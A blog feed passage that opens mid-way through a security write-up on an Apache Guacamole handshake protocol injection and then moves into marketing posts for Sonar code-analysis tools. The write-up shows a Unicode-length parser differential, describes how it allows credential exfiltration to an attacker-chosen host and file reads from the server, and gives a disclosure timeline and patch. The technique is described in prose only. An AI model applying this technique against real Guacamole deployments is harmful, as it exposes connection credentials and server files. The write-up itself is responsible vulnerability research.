src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8c827635-282c-493b-927e-4defedaa253c/guacamole_strlen-beta.png&quot; /&gt;&lt;p&gt;For more fancy characters like this victory hand, Java still agrees that its length is 1:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c0eab2c2-9024-4a2e-92da-91f53246d4ca/guacamole_strlen-victory.png&quot; /&gt;&lt;p&gt;But if we insert our CJK character, Java suddenly assumes that this character has a length of 2:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/dcfd0620-1f6a-4d6a-a9fb-30a99cf3d1ee/guacamole_strlen-cjk.png&quot; /&gt;&lt;p&gt;How does this make sense? Also, we have been talking about UTF-8 the whole time. Doesn’t Java use a UTF-16 encoding?&lt;/p&gt;&lt;h3&gt;Java’s internal String representation&lt;/h3&gt;&lt;p&gt;Yes and no, actually: in Java 9, the concept of &lt;a href=&quot;https://www.baeldung.com/java-9-compact-string&quot;&gt;Compact Strings&lt;/a&gt; was introduced, which dynamically encodes a String internally with LATIN-1 or UTF-16:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ca5dafa3-b4eb-4857-904e-6cb2f8c8e23e/guacamole_compact.png&quot; /&gt;&lt;p&gt;For a simple &lt;code&gt;A&lt;/code&gt; character, which is encoded as the 1-byte sequence &lt;code&gt;41&lt;/code&gt; in UTF-8, Java also stores this character internally with a single byte because it can be encoded with LATIN-1. To keep track of the internal encoding, the String object has a private member called &lt;code&gt;coder&lt;/code&gt;. For LATIN-1, in the case of a simple &lt;code&gt;A&lt;/code&gt; character, the value of &lt;code&gt;coder&lt;/code&gt; is set to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For a UTF-8 sequence, which cannot be represented with LATIN-1 like the Greek beta character, the &lt;code&gt;coder&lt;/code&gt; value is set to &lt;code&gt;1&lt;/code&gt; for UTF-16. This means that the initial UTF-8 sequence is now converted to UTF-16, and the resulting two bytes are stored internally.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So now we are aware of how Java internally stores a String. But how is the length of such a String determined? Actually, very easy. This is the internal Java implementation of the String &lt;code&gt;length&lt;/code&gt; method:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public int length() {
  return value.length &gt;&gt; coder();
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The length of the internal byte array is right-shifted by the &lt;code&gt;coder&lt;/code&gt; value, and the result is returned:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/54b221c2-0991-4aae-bd1e-abb23fdf8b96/guacamole_strlen-1.png&quot; /&gt;&lt;p&gt;For the simple &lt;code&gt;A&lt;/code&gt; character, which is encoded with LATIN-1, the coder value is &lt;code&gt;0&lt;/code&gt;. Because of this, the shift doesn’t change the value, and the length is just &lt;code&gt;1&lt;/code&gt;. For the UTF-16 encoded Greek beta character, the coder value is &lt;code&gt;1&lt;/code&gt;. This means that the amount of bytes stored in the internal byte array is effectively divided by 2. Thus, the resulting length is also &lt;code&gt;1&lt;/code&gt;. This also works fine for a 3-byte UTF-8 sequence since these are stored as 2 bytes in UTF-16.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, let&amp;#x27;s go back to the CJK Unicode character. We have already seen that this character is encoded with 4 bytes in UTF-8. The question is, how are these bytes converted to UTF-16?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And here we are actually getting to the problem. The 2 bytes of a UTF-16 character are enough to map the 1, 2, and 3-byte UTF-8 sequences. However, it is not sufficient to map the 4-byte sequences. These sequences are mapped to a UTF-16 Surrogate Pair:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/38de7ea5-bffb-44f8-8b37-ad4f4f26e6a9/guacamole_surrogate.png&quot; /&gt;&lt;p&gt;A Surrogate Pair consists of a High Surrogate and a Low Surrogate, which are specific code units reserved explicitly for this purpose. This is also applied to the CJK Unicode character:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1143dd96-b648-4dd1-abd1-fd5c43846c34/guacamole_cjk2.png&quot; /&gt;&lt;p&gt;The internal byte array contains 4 bytes for this character: 2 bytes for the High Surrogate and 2 bytes for the Low Surrogate. This also affects the length calculation:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4e934f72-8553-4313-9523-03379a73bbbf/guacamole_cjk_length2.png&quot; /&gt;&lt;p&gt;The size of the byte array (4) is shifted right by one, resulting in a length of 2. This 2 is inserted into the Guacamole Instruction, followed by the CJK Unicode character. According to the Guacamole specification, Java encodes this character using UTF-8 resulting in a 4-byte sequence, which still represents one single character. Thus, the C parser fails because it expects yet another character.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, what the heck? The Java String &lt;code&gt;length&lt;/code&gt; method is broken?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But, no. It is not:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/abb7cdc4-9832-427c-9651-099e2b923074/length_method.png&quot; /&gt;&lt;p&gt;Or at least, it behaves according to the specification, which clearly states that it returns the number of Unicode code &lt;strong&gt;units&lt;/strong&gt; (storage unit - 2 bytes for UTF-16), not code &lt;strong&gt;points&lt;/strong&gt; (unique number assigned to a character).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, this little difference introduces a parser differential between the Java client and the C server. The vulnerability is triggered by UTF-8 sequences that consist of 4 bytes like the CJK character or, ironically, this Unicode bug character:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/51a6053c-7061-4226-8edd-976182bebb01/guacamole_bug.png&quot; /&gt;&lt;h3&gt;Exploitation: Guacamole Protocol Injection&lt;/h3&gt;&lt;p&gt;So, how can this little difference be exploited? We have already figured out that the query parameter for the supported image types is inserted into the Guacamole &lt;code&gt;image&lt;/code&gt; instruction sent during the Handshake. The query parameter can also be set multiple times to define more than just one image type:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/93bd92c3-ec14-4dbc-8da1-e943c5dfe4e9/guacamole_multiple_imagetypes.png&quot; /&gt;&lt;p&gt;All of these query parameters are inserted as an argument to the &lt;code&gt;image&lt;/code&gt; instruction.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What an attacker would like to achieve is to break out of the green &lt;code&gt;VALUE&lt;/code&gt; field and inject a whole new instruction. This can be done by sending a swarm of bugs:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d60bd8fb-22de-4668-8f66-ef437465b3c9/guacamole_bug_swarm.png&quot; /&gt;&lt;p&gt;The first query parameter is set to 4 UTF-8 encoded bugs, and in the second one additional instruction is inserted, which consists of:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A semicolon, followed by&lt;/li&gt;&lt;li&gt;the digit 8,&lt;/li&gt;&lt;li&gt;a dot, and&lt;/li&gt;&lt;li&gt;the string “injected”&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Guacamole Client then sends this byte sequence to the Guacamole Server during the Handshake:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6ec2bcfc-4531-489c-a2b9-13a3bbbd63e6/guacamole_bug_injected.png&quot; /&gt;&lt;p&gt;It begins with the opcode, which is &lt;code&gt;image&lt;/code&gt;, followed by two arguments:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the 4 bugs, which Java assumes to have a length of 8, and&lt;/li&gt;&lt;li&gt;the additionally injected string.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the Guacamole Server receives this byte sequence, it is unaware of its structure and starts to parse it:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/29941d4b-9b8b-4c8e-b84a-ded991edcca5/guacamole_injected.gif&quot; /&gt;&lt;p&gt;The parser begins by reading the &lt;code&gt;LENGTH&lt;/code&gt; field of the first element, which is 5. Thus, five Unicode characters are consumed for the &lt;code&gt;VALUE&lt;/code&gt; field. This completes the opcode. Next, the &lt;code&gt;LENGTH&lt;/code&gt; field of the argument is read, which is &lt;code&gt;8&lt;/code&gt; this time. Accordingly, the parser consumes all four Unicode bug characters but proceeds to consume bytes beyond the boundary of the argument. After eight characters are processed, the parser encounters a semicolon, which designates the end of the &lt;code&gt;image&lt;/code&gt; instruction. Thus, the injected string in the second argument becomes a whole new instruction!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The instruction an attacker can inject is placed right after the &lt;code&gt;image&lt;/code&gt; instruction, which is sent during the handshake before the &lt;code&gt;connect&lt;/code&gt; instruction:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cbe530a8-abe6-4441-aca1-c2bf2229730f/guacamole_injection_point.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means that an attacker can inject a new &lt;code&gt;connect&lt;/code&gt; instruction, which is inserted before the legit &lt;code&gt;connect&lt;/code&gt; instruction. This makes the Guacamole Server ignore the second, actually legit &lt;code&gt;connect&lt;/code&gt; instruction and instead connect to any host an attacker would like to.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One way to leverage this is to exfiltrate data. The &lt;code&gt;connect&lt;/code&gt; instruction sent by the Guacamole Client contains sensitive items like the credentials used to make the connection, optional passwords and private keys for shared drives, and gateway credentials:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7e425893-8669-41f2-a06e-f91315552a16/guacamole_sensitive_data.png&quot; /&gt;&lt;p&gt;This sensitive information is inserted as arguments of the legit &lt;code&gt;connect&lt;/code&gt; instruction, which directly follows the attacker’s injected &lt;code&gt;connect&lt;/code&gt; instruction. This means it is possible to let the injected &lt;code&gt;connect&lt;/code&gt; instruction end with a big &lt;code&gt;LENGTH&lt;/code&gt; value for one of the settings. This way, the Guacamole Server assumes that all data following is the &lt;code&gt;VALUE&lt;/code&gt; of this setting. This includes the legit &lt;code&gt;connect&lt;/code&gt; instruction with all the sensitive items, which is now not an instruction anymore but a simple &lt;code&gt;VALUE&lt;/code&gt; of one of the settings of the attacker’s &lt;code&gt;connect&lt;/code&gt; instruction:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/41e9262b-36d3-4cb3-8bc3-a37172255183/guacamole_exfil.gif&quot; /&gt;&lt;p&gt;As the attacker cannot know the length of the legit &lt;code&gt;connect&lt;/code&gt; instruction in advance, the correct argument boundary might be missed, as shown by the red arrow at the bottom of the animation. This can be overcome by slightly adjusting the injected &lt;code&gt;LENGTH&lt;/code&gt; value until the correct boundary is hit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The specific setting of the attacker’s &lt;code&gt;connect&lt;/code&gt; instruction, which is now populated with the legit &lt;code&gt;connect&lt;/code&gt; instruction, is called &lt;code&gt;load-balance-info&lt;/code&gt;. This setting is sent to the RDP server as the RoutingToken during the initial protocol negotiation. Since the RoutingToken is sent at the beginning of the RDP connection, the attacker doesn’t even need to set up a custom RDP server to dump some internal RDP handshake data. It is just enough to set up a TCP listener on the host specified in the injected &lt;code&gt;connect&lt;/code&gt; instruction. The Guacamole Server tries to connect to this server and happily transmits all sensitive data in the form of the RoutingToken:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/hxooZOa5Zj8&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The above video demonstrates how an attacker with low-privileged access can leverage the protocol injection to exfiltrate the connection settings. Of course, an attacker can also populate the injected &lt;code&gt;connect&lt;/code&gt; instruction with the exact same settings and only change specific values.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One feature which can be enabled this way is the &lt;a href=&quot;https://guacamole.apache.org/doc/gug/using-guacamole.html#the-rdp-virtual-drive&quot;&gt;RDP Drive Redirection&lt;/a&gt;. When instructed to do so, Guacamole can map a configured share to the RDP connection. This share can then be accessed from the browser via a dedicated file browser. The problem is that the shared folder is also one setting of the &lt;code&gt;connect&lt;/code&gt; instruction. This means that an attacker can leverage the injection to define the Guacamole Server’s root as the shared drive. This allows the attacker to leak any world-readable file on the server:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/791cda49-e33e-49f9-bb65-fc49ca1205f8/guacamole_file_ready.gif&quot; /&gt;&lt;p&gt;Writing is not possible by default because the Guacamole user is very restricted. Nevertheless, an attacker can still use this to leak valuable information like the memory layout of the Guacamole process by reading the &lt;code&gt;/proc/self/maps&lt;/code&gt; file. This information could be very useful when exploiting a memory corruption vulnerability, as we will see in the second part of the blog series!&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-11&lt;/td&gt;&lt;td&gt;We report both issues to the maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-11&lt;/td&gt;&lt;td&gt;Maintainers acknowledge receipt of our report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-12&lt;/td&gt;&lt;td&gt;Maintainers confirm both issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-09&lt;/td&gt;&lt;td&gt;Maintainers finish the patch for both issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-09&lt;/td&gt;&lt;td&gt;We review and confirm the patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-25&lt;/td&gt;&lt;td&gt;Maintainers release patched version 1.5.2&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this first article, in a series of two, we briefly introduced the remote desktop gateway Apache Guacamole and explained its common enterprise use cases and technical architecture. We then dived into the first vulnerability we discovered, which allows an attacker to inject instructions into the Guacamole handshake. An attacker could leverage this to establish arbitrary connections from the Guacamole server, leak sensitive information, and read arbitrary files.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability is not only interesting from a technical point of view but also highlights a more generic insight: the increasing variety of technologies poses a big security risk because of interoperability problems. If two inherently different components need to communicate with each other but even slightly disagree about certain specifics of their communication protocol, this can introduce severe security vulnerabilities. These parser differentials will likely remain the source of very impactful bugs in the coming years.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although our main approach is to audit source code, studying protocol specifications can be very beneficial in identifying these kinds of inconsistencies. Suppose there are some strange specifics like the Unicode length we have been seeing, gaps in the specification, or certain corner cases. In that case, it is probably worth checking if different parsers handle this the same way.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the &lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-2/&quot;&gt;next article of this series&lt;/a&gt;, we will see that the requirement of high parallelism to serve and share hundreds of connections at the same time makes an application like Guacamole also prone to concurrency issues. We will dive into the world of glibc heap exploitation and ultimately gain remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we would like to thank the Guacamole maintainers for quickly responding to our report and providing a comprehensive patch!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-2/&quot;&gt;Parallel Code Security: The Challenge of Concurrency&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hexacon2023-highlights/&quot;&gt;Highlights from Hexacon 2023&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/a-twist-in-the-code-openmeetings-vulnerabilities-through-unexpected-application-state/&quot;&gt;A Twist in the Code: OpenMeetings Vulnerabilities through Unexpected Application State&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Leveraging SonarQube, SonarCloud, and SonarLint for Effective Shift Left Practices]]></title><description><![CDATA[Speed and quality are no longer trade-offs in the modern software landscape - they're a tightly interwoven dance. That's where the "Shift Left" philosophy comes in, urging us to move critical checks and balances like code quality analysis earlier in the development lifecycle.]]></description><link>https://www.sonarsource.com/blog/leveraging-sonarqube-sonarcloud-and-sonarlint-for-effective-shift-left-practices</link><guid isPermaLink="false">995efe79-eae9-5751-93ef-cb85ed7dc531</guid><dc:creator><![CDATA[Manish Kapur]]></dc:creator><pubDate>Wed, 01 May 2024 17:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Shift Left Drives Efficiency and Excellence in Agile Development&lt;/h3&gt;&lt;p&gt;Speed and quality are no longer trade-offs in the modern software landscape - they&amp;#x27;re a tightly interwoven dance. That&amp;#x27;s where the &amp;quot;Shift Left&amp;quot; philosophy comes in, urging us to move critical checks and balances like code quality analysis earlier in the development lifecycle.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;“&lt;a href=&quot;https://www.sonarsource.com/learn/shift-left/&quot;&gt;Shift Left&lt;/a&gt;” emphasizes proactive identification and resolution of potential issues, such as bugs, security vulnerabilities, and performance concerns, at the beginning of the development phase. It is essentially about writing &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;Clean Code&lt;/a&gt; from the start. The idea is that embedding comprehensive code quality, security, and reliability checks at the earliest stages of the development lifecycle delivers significant efficiencies and savings by avoiding later rework.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6580c528-0e68-4d1c-8a9f-ccd86dd4d168/shift_left_blog_image_02.webp&quot; /&gt;&lt;p&gt;The ultimate goal of any software development process should be to produce Clean Code. This means that the code must function as intended and be free of issues that might lead to bugs and vulnerabilities.  Fixing issues after deployment often costs more than addressing them during development. It&amp;#x27;s also not just about ensuring the software works—it&amp;#x27;s about ensuring it works safely, securely, and efficiently.&lt;strong&gt; &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The consequences of releasing flawed code into production can be tremendous. Beyond the immediate functional issues, vulnerabilities can lead to security breaches, data leaks, and significant reputational damage. To minimize these risks and produce secure, reliable, and maintainable software, developers need to use a &amp;quot;Shift Left&amp;quot; approach. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Embracing the Shift Left Philosophy with Sonar&lt;/h2&gt;&lt;p&gt;But how do you implement this shift?  Sonar solutions empower developers to adopt a shift-left approach in software development by embedding comprehensive code quality, security, and reliability checks at the earliest stages of the development lifecycle. With Sonar, developers can detect and resolve code issues at their source.  &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; embrace &amp;quot;true&amp;quot; shift left by baking quality into the code from the first keystroke and during the code creation process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;SonarQube: Self-Managed Static Code Analysis Solution&lt;/h3&gt;&lt;p&gt;Imagine a central hub where developers can analyze code, identify vulnerabilities, and measure technical debt as part of the DevOps workflow. That&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;. This self-managed product provides comprehensive static code analysis and secrets detection for more than 30 languages, covering issues like code smells, security vulnerabilities, and potential bugs. It&amp;#x27;s like embedding a code quality watchdog in your code repositories, catching issues early, and keeping your code squeaky clean. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By integrating with your CI/CD pipeline, SonarQube automatically scans code for every Pull Request and every commit, giving developers immediate feedback and the chance to address issues before they snowball into more significant problems. SonarQube hunts for bugs and vulnerabilities like XSS and SQL injection, sniffs out bad and dead code, and even suggests best practices to boost maintainability and readability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Think of it as a real-time code review in the background, highlighting potential headaches before they become migraines. SonarQube fosters a culture of continuous improvement, empowering developers to take ownership of code quality early and often. It helps you ship cleaner, more reliable software faster, reducing rework costs and keeping developers focused on what they do best: building awesome stuff. &lt;/p&gt;&lt;h3&gt;SonarCloud: Continuous Code Quality in the Cloud&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; offers the same powerful static code analysis capabilities as SonarQube, operating as a SaaS solution for those who prefer a cloud-based solution. It operates seamlessly alongside your existing CI/CD development workflows, seamlessly integrating with popular DevOps platforms like GitHub, Azure DevOps, BitBucket, and GitLab. Its intuitive interface and easy setup make it a breeze to get started. SonarCloud automatically scans your code repositories, providing real-time feedback on quality and security issues. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Just like SonarQube, SonarCloud goes beyond basic syntax checks. It performs deep static analysis to detect security issues (bugs, vulnerabilities)  like potential XSS or SQL injection vulnerabilities before they become exploits. It detects out code smells like duplicate blocks and overly complex conditions, alerting you to potential maintainability issues. And it doesn&amp;#x27;t stop there; SonarCloud provides actionable insights and suggests best practices, empowering you to write better code that is more sustainable. Its collaborative features help developers work together efficiently to maintain clean code, making &amp;quot;Shift Left&amp;quot; a team effort.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;SonarLint: Your Shift Left IDE assistant&lt;/h3&gt;&lt;p&gt;The shift doesn&amp;#x27;t stop at the CI/CD pipeline. &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/ide-login/&quot;&gt;SonarLint&lt;/a&gt; extends the quality revolution right into your editor (IDE), offering instant feedback on coding issues. SonarLint is like a mentor that helps you write better code. It highlights where you might be making mistakes in real-time while you&amp;#x27;re coding and guides you to become a better developer by providing contextual educational information. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarLint integrates with your preferred IDE, providing instant feedback and actionable suggestions as you write. It&amp;#x27;s like having a quality gate built directly into your coding environment, preventing unclean code from sneaking through. This immediate feedback loop fosters a culture of self-improvement and continuous quality. Whether you&amp;#x27;re coding in Java, Python, JavaScript, or one of the many other supported languages, frameworks, or IaC platforms, SonarLint guides you towards cleaner, more secure code with every line. SonarLint empowers developers to own quality from the first keystroke, making &amp;quot;Shift Left&amp;quot; a natural part of their workflow.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;SonarLint&amp;#x27;s Connected Mode: Writing Clean Code from the Start to End&lt;/h3&gt;&lt;p&gt;Use SonarQube, SonarCloud, and SonarLint to improve coding from the beginning. SonarQube, SonarCloud, and SonarLint aren&amp;#x27;t just tools; they&amp;#x27;re a cohesive ecosystem designed to fuel your &amp;quot;Shift Left&amp;quot; journey. They work together seamlessly, providing a holistic view of your codebase health from individual lines to the entire project. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarLint&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/features/connected-mode/&quot;&gt;Connected Mode&lt;/a&gt; bridges your local coding environment and the centralized quality hub of SonarQube or SonarCloud, empowering you with consistent, real-time feedback throughout your development journey. &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/features/connected-mode/&quot;&gt;Connecting&lt;/a&gt; SonarLint in your IDEs to SonarQube or SonarCloud amplifies the shift left strategy. It ensures a seamless synchronization of issues across the development lifecycle. By catching bugs and vulnerabilities both in the IDE and in pull requests and code branches, developers can be confident in the quality and security of their code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition, connecting SonarLint with SonarCloud or SonarQube empowers teams to work transparently and efficiently, with decisions instantly shared between developers and enabling complex bug detection, tracing, and resolution.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1ab6ef92-13f5-4486-84f6-4ad9efc9222e/shift_left_blog_image_01.webp&quot; /&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;The Benefits of Embracing Shift Left with Sonar&lt;/h3&gt;&lt;p&gt;Using the Sonar solutions together is like having a quality control team embedded within your development workflow. Here are just a few of the advantages you can expect:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Faster Release Cycles:&lt;/strong&gt; Identify and fix bugs earlier, eliminating rework and reducing the time it takes to get your software to market.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Improved Code Quality:&lt;/strong&gt; Write cleaner, more maintainable code that&amp;#x27;s less prone to errors.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Enhanced Security:&lt;/strong&gt; Proactively address vulnerabilities before they become exploits.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Reduced Costs:&lt;/strong&gt; Catching issues early saves time and money compared to fixing them later in the development cycle.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increase developer productivity:&lt;/strong&gt; Real-time feedback and suggestions from SonarLint help developers write better code faster, reducing time spent on debugging and rework.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a world where software is integral to almost every aspect of our lives, ensuring the quality, security, and reliability of this software has never been more critical. The essence of &amp;quot;Shift Left&amp;quot; lies in proactively ensuring code quality from the first line written, resulting in safer, more reliable applications and a streamlined development process. SonarQube, SonarCloud, and SonarLint help you truly shift left, embedding quality into your code from the IDE up. This ensures developers are well-equipped to write Clean Code and elevate their code to the highest standards.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, are you ready to embrace Shift Left and confidently conquer the software world? Let &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; be your trusty steeds. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Happy coding!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Driving DevOps Transformation: Leveling Up CI/CD with Static Code Analysis]]></title><description><![CDATA[Unit and end-to-end testing are effective in ensuring features and functionality work properly, but what about code quality? How can we ensure that our code is reliable, maintainable, and secure? Enter static code analysis. ]]></description><link>https://www.sonarsource.com/blog/driving-devops-transformation-leveling-up-ci-cd-with-static-code-analysis</link><guid isPermaLink="false">97bc0a4f-6767-57b8-9044-e46912d0c128</guid><dc:creator><![CDATA[Tony Graham]]></dc:creator><pubDate>Tue, 30 Apr 2024 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There is no doubt that software has taken over every aspect of business, from internal applications that enable businesses to run more efficiently to customer-facing applications that bring in revenue. Software is business, and business is software. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, simply delivering software isn’t enough anymore; businesses want, or need rather, to deliver software fast. Time is money. Delays are costly. Lost market share to a competitor and product churn from customers not getting the features they want may result in a loss of revenue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not surprisingly, this puts increasing pressure on developers to produce more code faster. Oh, and this code needs to not add to technical debt, not create vulnerabilities that could lead to a major “HACKED” headline, and not induce any issues that lead to a poor customer experience. 